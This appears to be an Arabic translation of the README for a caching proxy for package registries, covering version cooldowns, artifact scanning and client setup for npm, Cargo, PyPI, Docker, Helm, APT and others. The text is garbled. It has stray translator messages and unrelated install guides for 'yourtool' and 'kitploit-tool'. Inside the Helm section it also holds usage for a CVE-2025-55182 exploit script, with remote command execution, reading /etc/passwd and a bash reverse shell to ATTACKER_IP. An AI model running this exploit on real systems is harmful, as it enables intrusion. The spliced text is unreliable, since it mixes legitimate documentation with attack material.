
وكيل تخزين مؤقت خفيف الوزن لسجلات الحزم.
وكيل تخزين مؤقت (caching proxy) لسجلات الحزم (package registries). يسرّع تنزيلات الحزم عبر تخزين الملفات (artifacts) محليًا، مما يقلل استهلاك النطاق الترددي ويحسّن الموثوقية.
تعتمد معظم هجمات سلسلة التوريد على السرعة: يُنشر إصدار خبيث ويُستهلك بواسطة خطوط الأنابيب الآلية (automated pipelines) خلال دقائق، قبل أن يلاحظه أحد. تضيف ميزة التهدئة (cooldown) فترة حجر صحي (quarantine period) للإصدارات المنشورة حديثًا. عند تفعيلها، يزيل الوكيل الإصدارات من استجابات البيانات الوصفية (metadata responses) حتى تتجاوز عمرًا محددًا قابلًا للتهيئة.```yaml cooldown: default: "3d" # hide versions published less than 3 days ago ecosystems: npm: "7d" # npm gets a longer window cargo: "0" # disable for cargo packages: "pkg:npm/lodash": "0" # exempt trusted packages
يعني cooldown لمدة 3 أيام أنه عندما ينشر `lodash` الإصدار `4.18.0`، تستمر عمليات البناء لديك في استخدام `4.17.21` حتى تمر 3 أيام. وإذا تبيّن أن الإصدار الجديد مخترق، فلن تكون قد تعرضت للخطر أبدًا.
ترتيب الحل: تجاوز الحزمة، ثم تجاوز النظام البيئي، ثم الافتراضي العام. يتيح لك ذلك تعيين افتراضي متحفظ واستثناء حزم تحتاج فيها إلى تحديثات أسرع. راجع [docs/configuration.md](https://github.com/git-pkgs/proxy/blob/main/docs/configuration.md) للحصول على المرجع الكامل للإعدادات.
## فحص المخرجات
ينظر cooldown فقط إلى الطابع الزمني لنشر الإصدار — ولا يفحص البايتات الفعلية أبدًا. يسدّ فحص المخرجات هذه الفجوة: عند تمكينه، يتم تجهيز كل مخرج في التخزين وفحصه بواسطة خدمة خارجية واحدة أو أكثر (trivy، أو ClamAV، أو Wiz، أو أي شيء آخر يتحدث عقد HTTP/JSON صغير) قبل تثبيته في ذاكرة التخزين المؤقت وتقديمه للعملاء.```yaml
scanning:
enabled: true
signing_key: ${PROXY_SCANNING_SIGNING_KEY}
scanners:
- name: clamav
url: http://clamav-adapter:8080/scan
mode: block # a block verdict deletes the artifact and returns 403
- name: trivy
url: http://trivy-adapter:8081/scan
mode: monitor # findings are logged, never gate caching
ecosystems: [npm, pypi]
لا يقوم الوكيل أبدًا بتحميل بايتات المخرجات إلى الماسح الضوئي. يتم إخطار كل ماسح ضوئي ببيانات وصفية للحزمة بالإضافة إلى رابط موقّع قصير الأجل؛ يقوم الماسح الضوئي بسحب البايتات بنفسه من تخزين الوكيل الخاص. تعمل الماسحات الضوئية بشكل متزامن، وأول ماسح ضوئي في وضع block يبلغ عن حكم غير مسموح به يفوز فورًا، مما يلغي الباقي. راجع docs/configuration.md للحصول على المرجع الكامل للتكوين وعقد HTTP الخاص بالماسح الضوئي.
| السجل | اللغة/المنصة | فترة التهدئة | مكتمل |
|---|---|---|---|
| npm | JavaScript | نعم | ✓ |
| Cargo | Rust | نعم | ✓ |
| RubyGems | Ruby | نعم | ✓ |
| Go proxy | Go | ✓ | |
| Hex | Elixir | نعم* | ✓ |
| pub.dev | Dart | نعم | ✓ |
| PyPI | Python | نعم | ✓ |
| Maven | Java | ✓ | |
| Gradle Build Cache | Java/Kotlin | ✓ | |
| NuGet | .NET | نعم | ✓ |
| Composer | PHP | نعم | ✓ |
| Conan | C/C++ | ✓ | |
| Conda | Python/R | نعم | ✓ |
| CRAN | R | ✓ | |
| Julia | Julia | ✓ | |
| Swift | Swift | ✓ | |
| Container | Docker/OCI | ✓ | |
| Homebrew | macOS/Linux | ✓ | |
| Debian | Debian/Ubuntu | ✓ | |
| RPM | RHEL/Fedora | ✓ | |
| Alpine | Alpine Linux | ✓ | |
| Arch | Arch Linux |
تتطلب فترة التهدئة طوابع زمنية للنشر في البيانات الوصفية. السجلات التي لا تحتوي على "نعم" في عمود فترة التهدئة إما لا تكشف عن الطوابع الزمنية أو لم يتم ربطها بعد.
* تتطلب فترة تهدئة Hex تعطيل التحقق من توقيع السجل (HEX_NO_VERIFY_REPO_ORIGIN=1) نظرًا لأن الوكيل يعيد ترميز حمولة protobuf.
brew install git-pkgs/git-pkgs/proxy
أو نزّل ملفاً ثنائياً من [صفحة الإصدارات](https://github.com/git-pkgs/proxy/releases).
### Helm
ثبّت المخطط من GHCR، مع تعيين عنوان URL العام الذي سيستخدمه عملاء مديري
الحزم للوصول إلى الوسيط:```bash
helm install proxy oci://ghcr.io/git-pkgs/charts/proxy \
--set config.data.base_url=https://proxy.example.com
يُنشر المخطط الافتراضي بنسخة واحدة مدعومة بوحدة تخزين دائمة بسعة 10 GiB،
باستخدام SQLite وتخزين القطع الأثرية على نظام الملفات تحت /data. راجع
deploy/charts/proxy/values.yaml لخيارات إعداد ingress
وقاعدة البيانات الخارجية وتخزين الكائنات.
go build -o proxy ./cmd/proxy
./proxy
./proxy -listen :3000 -base-url https://proxy.example.com
الوكيل يعمل الآن. قم بتكوين مديري الحزم لديك لاستخدامه.
## OpenAPI (Swagger)
يستخدم هذا المستودع swaggo لتوليد مواصفة OpenAPI من المعالجات المعلّقة.
توليد المواصفة:```bash
go install github.com/swaggo/swag/cmd/swag@latest
go generate ./internal/server
تُكتب الملفات المُنشأة إلى docs/swagger/.
عندما يكون الوكيل قيد التشغيل، اجلب المواصفات الحية من:
http://localhost:8080/openapi.jsonأو استبدل http://localhost:8080 بعنوان URL الأساسي المُهيأ لديك. يظهر هذا الرابط أيضًا على لوحة التحكم.
أنشئ أو حرّر ~/.npmrc:```
registry=http://localhost:8080/npm/
أو قم بالتعيين لكل مشروع في `.npmrc`:```
registry=http://localhost:8080/npm/
أو استخدم متغير البيئة:```bash npm_config_registry=http://localhost:8080/npm/ npm install
### Cargo
أنشئ أو حرّر `~/.cargo/config.toml`:```toml
[source.crates-io]
replace-with = "proxy"
[source.proxy]
registry = "sparse+http://localhost:8080/cargo/"
أو قم بتعيينه لكل مشروع في .cargo/config.toml في جذر مشروعك.
قم بتعيين مصدر الـ gem في ملف Gemfile الخاص بك:```ruby
source "http://localhost:8080/gem"
أو قم بالتهيئة بشكل عام:```bash
gem sources --add http://localhost:8080/gem/
bundle config mirror.https://rubygems.org http://localhost:8080/gem
قم بتعيين متغير البيئة GOPROXY:```bash export GOPROXY=http://localhost:8080/go,direct
أو في ملف تعريف shell الخاص بك للاستمرارية.
### Homebrew
وجّه واجهة JSON API ونطاق artifacts الخاص بـ Homebrew إلى البروكسي:```bash
export HOMEBREW_API_DOMAIN=http://localhost:8080/homebrew
export HOMEBREW_ARTIFACT_DOMAIN=http://localhost:8080
يقوم نطاق artifact بوكالة (proxies) البيانات الوصفية (manifests) وكتل bottle تحت /v2/homebrew/core/. يقتصر توجيه GHCR على ذلك المستودع. تستخدم أرشيفات المصدر، وتنزيلات تطبيقات cask، وقطع tap المخصصة، ومرايا bottle المسطحة القديمة عناوين URL الاحتياطية العادية الخاصة بـ Homebrew. أبقِ الاحتياط مفعّلًا بترك HOMEBREW_ARTIFACT_DOMAIN_NO_FALLBACK غير مضبوط.
فعّل cache_metadata أو اضبط PROXY_CACHE_METADATA=true للاحتفاظ بردود Homebrew JSON API من أجل الاحتياط دون اتصال. تُخزَّن كتل bottle وبيانات OCI الوصفية الخاصة بها مؤقتًا دون هذا الإعداد.
تكون upstreams افتراضيًا على https://formulae.brew.sh/api لواجهة JSON API وعلى https://ghcr.io للـ artifacts. لتسلسل هذا الوكيل (proxy) مع وكيل آخر، اضبط نقاط نهاية Homebrew الخاصة به كـ upstreams:```yaml
upstream:
homebrew_api: "https://upstream-proxy.example.com/homebrew"
homebrew_artifact: "https://upstream-proxy.example.com"
متغيرات البيئة المكافئة هي `PROXY_UPSTREAM_HOMEBREW_API` و `PROXY_UPSTREAM_HOMEBREW_ARTIFACT`.
### Hex (Elixir)
قم بالتهيئة في `~/.hex/hex.config`:```erlang
{default_url, <<"http://localhost:8080/hex">>}.
أو قم بتعيين متغير البيئة:```bash export HEX_MIRROR=http://localhost:8080/hex
### pub.dev (Dart/Flutter)
قم بتعيين متغير البيئة PUB_HOSTED_URL:```bash
export PUB_HOSTED_URL=http://localhost:8080/pub
قم بتهيئة pip لاستخدام البروكسي:```bash pip install --index-url http://localhost:8080/pypi/simple/ package_name
أو عيّن في `~/.pip/pip.conf`:```ini
[global]
index-url = http://localhost:8080/pypi/simple/
أضف إلى ملف ~/.m2/settings.xml الخاص بك:```xml
proxy
central
http://localhost:8080/maven/
يستخدم نقطة النهاية `/maven/` مستودع Maven Central كمصدر رئيسي، ويعود إلى Gradle Plugin Portal للحصول على بيانات وصفية لعلامات إضافات Gradle والقطع الأثرية ذات الصلة عندما يُرجع المصدر الرئيسي نتيجة "غير موجود".
لتحليل إضافات Gradle عبر نفس نقطة نهاية الوسيط:```kotlin
pluginManagement {
repositories {
maven(url = "http://localhost:8080/maven/")
}
}
قم بالتهيئة في settings.gradle(.kts):```kotlin
buildCache {
local {
enabled = false
}
remote {
url = uri("http://localhost:8080/gradle/")
push = true
}
}
### NuGet
قم بالتهيئة في `nuget.config`:```xml
<configuration>
<packageSources>
<clear />
<add key="proxy" value="http://localhost:8080/nuget/v3/index.json" />
</packageSources>
</configuration>
أو استخدم واجهة سطر الأوامر (CLI):```bash dotnet nuget add source http://localhost:8080/nuget/v3/index.json -n proxy
### Composer (PHP)
قم بالتهيئة في `composer.json`:```json
{
"repositories": [
{
"type": "composer",
"url": "http://localhost:8080/composer"
}
]
}
أو قم بالتعيين عالميًا:```bash composer config -g repositories.proxy composer http://localhost:8080/composer
### Conan (C/C++)
أضف الوسيط كـ remote:```bash
conan remote add proxy http://localhost:8080/conan
conan remote disable conancenter
أو قم بالتهيئة في ~/.conan2/remotes.json.
قم بالتهيئة في ~/.condarc:```yaml
channels:
أو قم بالتعيين عبر الأمر:```bash
conda config --add channels http://localhost:8080/conda/main
قم بتعيين المستودع في R:```r options(repos = c(CRAN = "http://localhost:8080/cran"))
أو في `~/.Rprofile` للاستمرارية:```r
local({
r <- getOption("repos")
r["CRAN"] <- "http://localhost:8080/cran"
options(repos = r)
})
قم بتعيين خادم Pkg قبل بدء Julia:```bash export JULIA_PKG_SERVER=http://localhost:8080/julia
أو داخل جلسة قيد التشغيل:```julia
ENV["JULIA_PKG_SERVER"] = "http://localhost:8080/julia"
using Pkg; Pkg.update()
قم بتكوين الوكيل كسجل افتراضي لحزمة Swift الحالية:```bash swift package-registry set --allow-insecure-http http://localhost:8080/swift
تبعيات السجل تستخدم معرّف الحزمة المُنطّق الخاص بها في `Package.swift`:```swift
dependencies: [
.package(id: "apple.swift-argument-parser", from: "1.2.0")
]
يدعم الوكيل (proxy) حل التبعيات وتنزيلات المصادر. النشر باستخدام
swift package-registry publish غير مدعوم.
قم بتهيئة Docker لاستخدام الوكيل (proxy) كمرآة للسجل في /etc/docker/daemon.json:```json
{
"registry-mirrors": ["http://localhost:8080"]
}
ثم أعد تشغيل Docker:```bash
sudo systemctl restart docker
أو اسحب الصور مباشرةً:```bash docker pull localhost:8080/library/nginx:latest
### Helm
قم بتكوين كل مستودع مخططات HTTP باسم، ثم أضف عنوان URL للوكيل المطابق إلى Helm:```yaml
upstream:
helm:
bitnami: "https://charts.bitnami.com/bitnami"
# استنساخ المستودع
git clone https://github.com/yourusername/yourtool.git
cd yourtool
# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate # على Windows: venv\Scripts\activate
# تثبيت التبعيات
pip install -r requirements.txt
pip install yourtool
docker pull yourusername/yourtool:latest
docker run -it --rm yourusername/yourtool --help
# استنساخ المستودع
git clone https://github.com/yourusername/yourtool.git
cd yourtool
# تثبيت في وضع التطوير
pip install -e .
yourtool --version
يجب أن ترى رقم الإصدار مطبوعًا في الطرفية.```bash helm repo add bitnami http://localhost:8080/helm/bitnami helm repo update helm pull bitnami/nginx
يقوم الوكيل بتخزين `index.yaml` مؤقتًا باستخدام إعدادات ذاكرة التخزين المؤقت العادية للبيانات الوصفية، ويخزّن أرشيفات المخططات مؤقتًا بعد التحقق من ملخص SHA-256 الخاص بها من الفهرس.
بالنسبة للمخططات المخزنة في سجل OCI، قم بتكوين مصدر OCI مسمّى وأضف البادئة المحجوزة `upstream/{name}` إلى مرجع المخطط:```yaml
upstream:
oci:
ghcr: "https://ghcr.io"
python3 CVE-2025-55182.py -u <URL> -c <COMMAND>
| المعامل | الوصف |
|---|---|
-u, --url | عنوان URL الهدف (مطلوب) |
-c, --cmd | الأمر المراد تنفيذه (مطلوب) |
-t, --timeout | مهلة الطلب بالثواني (افتراضي: 30) |
-v, --verbose | تمكين الإخراج المفصل |
# Basic command execution
python3 CVE-2025-55182.py -u http://target:3000 -c "id"
# Read sensitive files
python3 CVE-2025-55182.py -u http://target:3000 -c "cat /etc/passwd"
# Reverse shell
python3 CVE-2025-55182.py -u http://target:3000 -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# With verbose output
python3 CVE-2025-55182.py -u http://target:3000 -c "whoami" -v
[*] Target: http://localhost:3000
[*] Command: id
[*] Sending exploit payload...
[+] Exploit sent successfully!
[+] Response:
uid=0(root) gid=0(root) groups=0(root)
/formactionهذا البرنامج النصي مخصص لأغراض تعليمية واختبار التسلل الأخلاقي فقط. المؤلفون غير مسؤولين عن أي استخدام غير مصرح به أو أضرار ناجمة عن هذا البرنامج. استخدمه على مسؤوليتك الخاصة وفقط على الأنظمة التي لديك إذن صريح باختبارها.
هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
تذكير: الاستخدام غير المصرح به لهذا البرنامج النصي ضد أنظمة لا تملكها هو غير قانوني وقد يؤدي إلى عواقب جنائية. استخدمه بمسؤولية.```bash helm pull oci://localhost:8080/upstream/ghcr/owner/charts/mychart --version 1.0.0 --plain-http
### Debian / APT
قم بتهيئة APT لاستخدام البروكسي في `/etc/apt/sources.list.d/proxy.list`:```
deb http://localhost:8080/debian stable main contrib
استبدل إدخالات sources.list الموجودة لديك، ثم:```bash sudo apt update
الافتراضي في المنبع هو `http://deb.debian.org/debian`. لوكالة مستودع APT مختلف (مثل Ubuntu)، عيّن `upstream.debian` في ملف الإعدادات أو `PROXY_UPSTREAM_DEBIAN` في البيئة:```yaml
upstream:
debian: "http://archive.ubuntu.com/ubuntu"
قم بتهيئة yum/dnf لاستخدام البروكسي في /etc/yum.repos.d/proxy.repo:```ini
[proxy-fedora]
name=Fedora via Proxy
baseurl=http://localhost:8080/rpm/releases/$releasever/Everything/$basearch/os/
enabled=1
gpgcheck=0
ثم:```bash
sudo dnf clean all
sudo dnf update
وجّه /etc/apk/repositories إلى الوسيط. اسم المستودع الافتراضي
alpine يمرّر المرآة الرسمية (https://dl-cdn.alpinelinux.org/alpine):```
http://localhost:8080/apk/alpine/v3.22/main
http://localhost:8080/apk/alpine/v3.22/community
ثم:```bash
apk update
فهارس المستودعات (v2 APKINDEX.tar.gz و v3 Packages.adb)، والتوقيعات المنفصلة، والحزم تُقدَّم بايتًا ببايت دون تغيير، لذا يظل التحقق العادي من التوقيع في apk يعمل. تستخدم الفهارس ذاكرة التخزين المؤقت للبيانات الوصفية (metadata_ttl، والرجوع إلى النسخة القديمة)؛ تُخزَّن حزم .apk في ذاكرة التخزين المؤقت المشتركة للمخرجات وتبقى متاحة عندما يكون المصدر الأعلى غير قابل للوصول.
لعمل وكيل (proxy) لمرايا أخرى أو مستودعات خاصة، قم بتهيئة مصادر أعلى مُسمّاة تحت upstream.apk (هذا يستبدل الافتراضي المدمج؛ أعد إضافة alpine إذا كنت لا تزال تريده):```yaml
upstream:
apk:
alpine: "https://dl-cdn.alpinelinux.org/alpine"
private: "https://apk.example.com"
## التثبيت
### المتطلبات الأساسية
- Python 3.8 أو أحدث
- pip (مدير حزم Python)
- Git (اختياري، للتثبيت من المصدر)
### التثبيت من PyPI
```bash
pip install kitploit-tool
git clone https://github.com/kitploit/kitploit-tool.git
cd kitploit-tool
pip install -r requirements.txt
python setup.py install
docker pull kitploit/kitploit-tool:latest
docker run -it kitploit/kitploit-tool --help
kitploit-tool --version
يجب أن يعرض الأمر رقم الإصدار الحالي. إذا واجهت أي أخطاء، تأكد من أن Python و pip مثبتان بشكل صحيح وأنهما مضافان إلى متغير البيئة PATH الخاص بك.
إذا واجهت مشكلات أثناء التثبيت، جرّب الخطوات التالية:
تأكد من أنك تستخدم أحدث إصدار من pip:
pip install --upgrade pip
إذا كنت تستخدم نظامًا يحتوي على Python 2 و Python 3 معًا، فاستخدم pip3 بدلاً من pip:
pip3 install kitploit-tool
على أنظمة Linux، قد تحتاج إلى تثبيت حزم التطوير الإضافية:
sudo apt-get install python3-dev build-essential
إذا واجهت أخطاء في الأذونات، ففكّر في استخدام بيئة افتراضية:
python3 -m venv venv
source venv/bin/activate
pip install kitploit-tool
على Windows، تأكد من أن Visual C++ Build Tools مثبتة إذا واجهت أخطاء في الترجمة أثناء التثبيت.``` http://localhost:8080/apk/private
apk يضيف البنية واسم ملف الفهرس إلى كل سطر مستودع بنفسه.
### إصدارات GitHub / mise (خلفية aqua)
قم بتكوين مصادر عامة مسماة:```yaml
upstream:
generic:
github: "https://github.com"
github-api: "https://api.github.com"
ثم أعد كتابة روابط GitHub في إعدادات mise (~/.config/mise/config.toml، mise ≥ 2025.9.3):```toml
[settings.url_replacements]
"regex:^https://github\\.com/([^/]+)/([^/]+)/releases/download/(.+)" = "http://localhost:8080/generic/github/$1/$2/releases/download/$3"
"regex:^https://api\\.github\\.com/(.*)" = "http://localhost:8080/generic/github-api/$1"
يتم تخزين أصول الإصدارات مؤقتًا بشكل دائم بعد التنزيل الأول وتستمر
في التثبيت أثناء تعطل GitHub. عمليات البحث عن الوسوم عبر `api.github.com` يتم
تخزينها مؤقتًا لمدة `metadata_ttl` وتُقدَّم قديمة أثناء انقطاع الخدمة أو تجاوز حد المعدل.
قم بعمل commit لملف `mise.lock` وثبّت باستخدام `mise install --locked` بحيث لا تحتاج
عمليات التثبيت المثبّتة إلى أي استدعاء API على الإطلاق. أضف bearer token لـ `https://api.github.com`
ضمن `upstream.auth` إذا تجاوزت المجموعة حد GitHub المجهول للمعدل.
## الإعدادات
يمكن إعداد الوكيل عبر:
1. أعلام سطر الأوامر (أعلى أولوية)
2. متغيرات البيئة
3. ملف الإعدادات (YAML أو JSON)
### أعلام سطر الأوامر```
-config string Path to configuration file
-listen string Address to listen on (default ":8080")
-base-url string Public URL of this proxy (default "http://localhost:8080")
-storage-url string Storage URL (file://, s3://, gs://, azblob://)
-storage-path string Path to artifact storage directory (deprecated, use -storage-url)
-database-driver string Database driver: sqlite or postgres (default "sqlite")
-database-path string Path to SQLite database file (default "./cache/proxy.db")
-database-url string PostgreSQL connection URL
-log-level string Log level: debug, info, warn, error (default "info")
-log-format string Log format: text, json (default "text")
-access-log string Path to the JSONL access log
-version Print version and exit
PROXY_LISTEN=:8080 PROXY_BASE_URL=http://localhost:8080 PROXY_UI_URL=http://localhost:8080 # Optional; defaults to PROXY_BASE_URL PROXY_STORAGE_URL=file:///var/cache/proxy/artifacts PROXY_DATABASE_DRIVER=sqlite PROXY_DATABASE_PATH=./cache/proxy.db PROXY_DATABASE_URL=postgres://user:pass@localhost/proxy?sslmode=disable PROXY_LOG_LEVEL=info PROXY_LOG_FORMAT=text PROXY_ACCESS_LOG_PATH=/var/log/proxy/access.jsonl PROXY_UPSTREAM_SWIFT=https://tuist.dev/api/registry/swift
### ملف التكوين```yaml
listen: ":8080"
base_url: "http://localhost:8080"
storage:
url: "file:///var/cache/proxy/artifacts"
max_size: "10GB" # Optional: evict LRU when exceeded
database:
driver: "sqlite"
path: "/var/lib/proxy/cache.db"
log:
level: "info"
format: "text"
access_log:
path: "/var/log/proxy/access.jsonl" # Optional JSONL activity log
# Optional: override upstream URLs
upstream:
npm: "https://registry.npmjs.org"
cargo: "https://index.crates.io"
swift: "https://tuist.dev/api/registry/swift"
# Optional: version cooldown (see above)
cooldown:
default: "3d"
راجع مرجع الإعدادات لكل مفتاح upstream، ومتغير بيئة، وعنوان URL افتراضي.
شغّل باستخدام ملف الإعدادات:```bash ./proxy -config /etc/proxy/config.yaml
### PostgreSQL
SQLite هو الافتراضي ويعمل بشكل جيد لعمليات النشر أحادية العقدة. بالنسبة لإعدادات متعددة العقد أو إذا كنت تفضل قاعدة بيانات مُدارة، انتقل إلى Postgres:```yaml
database:
driver: "postgres"
url: "postgres://user:password@localhost:5432/proxy?sslmode=disable"
أو عبر متغيرات البيئة:```bash PROXY_DATABASE_DRIVER=postgres PROXY_DATABASE_URL=postgres://user:password@localhost:5432/proxy?sslmode=disable
يقوم الوكيل بإنشاء الجداول تلقائيًا عند التشغيل الأول.
### تخزين S3
يمكن للوكيل تخزين العناصر المخزنة مؤقتًا في S3 أو أي خدمة متوافقة مع S3 (MinIO، R2، إلخ) بدلاً من نظام الملفات المحلي.```yaml
storage:
url: "s3://my-bucket-name?region=us-east-1"
بالنسبة لخدمات المتوافقة مع S3 مثل MinIO:```yaml storage: url: "s3://my-bucket?endpoint=http://localhost:9000&disableSSL=true&s3ForcePathStyle=true"
قم بتعيين بيانات الاعتماد عبر متغيرات البيئة القياسية لـ AWS (`AWS_ACCESS_KEY_ID`، `AWS_SECRET_ACCESS_KEY`، `AWS_REGION`).
### Google Cloud Storage
يمكن للوكيل تخزين العناصر المخزنة مؤقتًا في حاوية GCS باستخدام مخطط URL `gs://`.```yaml
storage:
url: "gs://my-bucket-name"
تستخدم المصادقة بيانات الاعتماد الافتراضية للتطبيق، مما يعني أنه لا حاجة لتضمين أي بيانات اعتماد في الإعدادات أو البيئة. المصادر المدعومة، بالترتيب:
roles/storage.objectAdmin على الحاوية (bucket). سيستخدم الوكيل رمز workload تلقائيًا.GOOGLE_APPLICATION_CREDENTIALS الذي يشير إلى ملف مفتاح JSON لحساب الخدمة.gcloud auth application-default login للتطوير المحلي.gcloud iam service-accounts create git-pkgs-proxy
--project=PROJECT_ID
gsutil iam ch
serviceAccount:git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com:objectAdmin
gs://my-bucket-name
gcloud iam service-accounts add-iam-policy-binding
git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com
--role=roles/iam.workloadIdentityUser
--member="serviceAccount:PROJECT_ID.svc.id.goog[NAMESPACE/KSA_NAME]"
kubectl annotate serviceaccount KSA_NAME
--namespace=NAMESPACE
iam.gke.io/gcp-service-account=git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com
#### التقديم المباشر (روابط موقّعة) مع Workload Identity
عند تمكين `direct_serve: true`، يُصدر الوكيل عمليات إعادة توجيه HTTP 302 إلى روابط GCS الموقّعة مسبقًا. لا يوفّر Workload Identity أي مفتاح خاص، لذا يستدعي الواجهة الخلفية لـ GCS [واجهة برمجة تطبيقات IAM Credentials `signBlob`](https://docs.cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signBlob). امنح حساب الخدمة دور منشئ الرمز المميز على نفسه:```bash
gcloud iam service-accounts add-iam-policy-binding \
git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com \
--role=roles/iam.serviceAccountTokenCreator \
--member="serviceAccount:git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com"
بدء خادم البروكسي. هذا هو الأمر الافتراضي إذا لم يتم تحديد أي أمر.```bash proxy serve [flags] proxy [flags] # same as 'proxy serve'
### mirror
املأ ذاكرة التخزين المؤقت مسبقًا من PURLs أو ملفات SBOM أو سجلات كاملة. مفيد لضمان التوفر دون اتصال أو تسخين ذاكرة التخزين المؤقت قبل عمليات النشر.```bash
# Mirror specific package versions
proxy mirror pkg:npm/[email protected] pkg:cargo/[email protected]
# Mirror all versions of a package
proxy mirror pkg:npm/lodash
# Mirror from a CycloneDX or SPDX SBOM
proxy mirror --sbom sbom.cdx.json
# Preview what would be mirrored
proxy mirror --dry-run pkg:npm/lodash
# Control parallelism
proxy mirror --concurrency 8 pkg:npm/[email protected]
يقبل أمر mirror نفس أعلام التخزين وقاعدة البيانات التي يقبلها serve. يتم تخطي العناصر المخزنة مؤقتًا بالفعل.
تتوفر أيضًا واجهة برمجة تطبيقات mirror عندما يكون الخادم قيد التشغيل:```bash
curl -X POST http://localhost:8080/api/mirror
-H "Content-Type: application/json"
-d '{"purls": ["pkg:npm/[email protected]"]}'
curl -X POST http://localhost:8080/api/mirror
-H "Content-Type: application/json"
-d '{"sbom":{"bomFormat":"CycloneDX","components":[{"purl":"pkg:npm/[email protected]"}]}}'
curl -X DELETE http://localhost:8080/api/mirror/mirror-1
### stats
عرض إحصائيات ذاكرة التخزين المؤقت دون تشغيل الخادم.```bash
# Text output
proxy stats
# JSON output
proxy stats -json
# Custom database path
proxy stats -database-path /var/lib/proxy/cache.db
# With PostgreSQL
proxy stats -database-driver postgres -database-url postgres://user:pass@localhost/proxy
# Show top 20 most popular packages
proxy stats -popular 20
Packages: 45 Versions: 128 Artifacts: 128 Total size: 892.4 MB Total hits: 1547
Packages by ecosystem: npm 32 cargo 13
Most popular packages:
Recently cached: npm/[email protected] (2024-01-15 14:32, 54.2 KB) cargo/[email protected] (2024-01-15 14:28, 412.8 KB)
## نقاط نهاية API
### بروتوكولات السجل
| نقطة النهاية | الوصف |
|----------|-------------|
| `GET /` | لوحة التحكم (واجهة الويب) |
| `GET /health` | فحص الحالة وحالة قاطع الدائرة العلوي (JSON؛ HTTP 200 سليم، 503 غير سليم) |
| `GET /stats` | إحصائيات ذاكرة التخزين المؤقت (JSON) |
| `GET /metrics` | مقاييس Prometheus |
| `GET /npm/*` | بروتوكول سجل npm |
| `GET /cargo/*` | بروتوكول فهرس Cargo المتناثر |
| `GET /gem/*` | بروتوكول RubyGems |
| `GET /go/*` | بروتوكول وكيل وحدة Go |
| `GET /hex/*` | بروتوكول Hex.pm |
| `GET /pub/*` | بروتوكول pub.dev |
| `GET /pypi/*` | واجهة PyPI simple/JSON API |
| `GET /maven/*` | بروتوكول مستودع Maven |
| `GET /nuget/*` | واجهة NuGet V3 API |
| `GET /composer/*` | بروتوكول Composer/Packagist |
| `GET /conan/*` | بروتوكول Conan C/C++ |
| `GET /conda/*` | بروتوكول Conda/Anaconda |
| `GET /cran/*` | بروتوكول CRAN (R) |
| `GET /julia/*` | بروتوكول خادم Julia Pkg |
| `GET /swift/*` | بروتوكول Swift Package Registry v1 |
| `GET /helm/{repository}/*` | بروتوكول مستودع مخططات Helm عبر HTTP |
| `GET /homebrew/*` | واجهة Homebrew JSON API |
| `GET /v2/*` | بروتوكول سجل OCI/Docker |
| `GET /v2/homebrew/core/*` | بيانات وصفية وكائنات ثنائية لزجاجات Homebrew core من GHCR |
| `GET /apk/{repository}/*` | بروتوكول مستودع Alpine APK |
| `GET /generic/{name}/*` | وكيل تنزيل HTTP عام (أصول إصدارات GitHub، mise/aqua) |
| `GET /debian/*` | بروتوكول مستودع Debian/APT |
| `GET /rpm/*` | بروتوكول مستودع RPM/Yum |
### واجهة Mirror API
| نقطة النهاية | الوصف |
|----------|-------------|
| `POST /api/mirror` | بدء مهمة نسخ مطابق (نص JSON يحتوي على `purls` أو `sbom` مضمّن) |
| `GET /api/mirror/{id}` | الحصول على حالة المهمة وتقدمها |
| `DELETE /api/mirror/{id}` | إلغاء مهمة قيد التشغيل |
### واجهة Enrichment API
يوفر الوكيل نقاط نهاية REST لإثراء بيانات الحزم الوصفية، وفحص الثغرات الأمنية، والكشف عن الإصدارات القديمة.
| نقطة النهاية | الوصف |
|----------|-------------|
| `GET /api/package/{ecosystem}/{name}` | الحصول على البيانات الوصفية للحزمة |
| `GET /api/package/{ecosystem}/{name}/{version}` | الحصول على البيانات الوصفية للإصدار مع الثغرات الأمنية |
| `GET /api/vulns/{ecosystem}/{name}` | الحصول على جميع الثغرات الأمنية لحزمة |
| `GET /api/vulns/{ecosystem}/{name}/{version}` | الحصول على الثغرات الأمنية لإصدار محدد |
| `POST /api/outdated` | فحص حزم متعددة بحثًا عن إصدارات قديمة |
| `POST /api/bulk` | البحث المجمع عن البيانات الوصفية للحزم |
#### الحصول على البيانات الوصفية للحزمة```bash
curl http://localhost:8080/api/package/npm/lodash
لا يوجد محتوى نصي مقدم للترجمة. يرجى إرسال النص المطلوب ترجمته.```json { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive", "description": "Lodash modular utilities", "homepage": "https://lodash.com/", "repository": "https://github.com/lodash/lodash", "registry_url": "https://registry.npmjs.org" }
#### الحصول على الإصدار مع الثغرات```bash
curl http://localhost:8080/api/package/npm/lodash/4.17.0
لا يوجد محتوى نصي مقدم للترجمة. يرجى تقديم محتوى Markdown الفعلي للجزء 147 من 189.```json { "package": { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive" }, "version": { "ecosystem": "npm", "name": "lodash", "version": "4.17.0", "license": "MIT", "published_at": "2016-06-17T03:59:56Z", "yanked": false, "is_outdated": true }, "vulnerabilities": [ { "id": "GHSA-p6mc-m468-83gw", "summary": "Prototype Pollution in lodash", "severity": "HIGH", "cvss_score": 7.4, "fixed_version": "4.17.12" } ], "is_outdated": true, "license_category": "permissive" }
#### التحقق من الحزم القديمة```bash
curl -X POST http://localhost:8080/api/outdated \
-H "Content-Type: application/json" \
-d '{
"packages": [
{"ecosystem": "npm", "name": "lodash", "version": "4.17.0"},
{"ecosystem": "pypi", "name": "requests", "version": "2.25.0"}
]
}'
لا يوجد محتوى نصي مقدم للترجمة. يرجى إرسال النص المطلوب ترجمته.```json { "results": [ { "ecosystem": "npm", "name": "lodash", "version": "4.17.0", "latest_version": "4.17.21", "is_outdated": true }, { "ecosystem": "pypi", "name": "requests", "version": "2.25.0", "latest_version": "2.31.0", "is_outdated": true } ] }
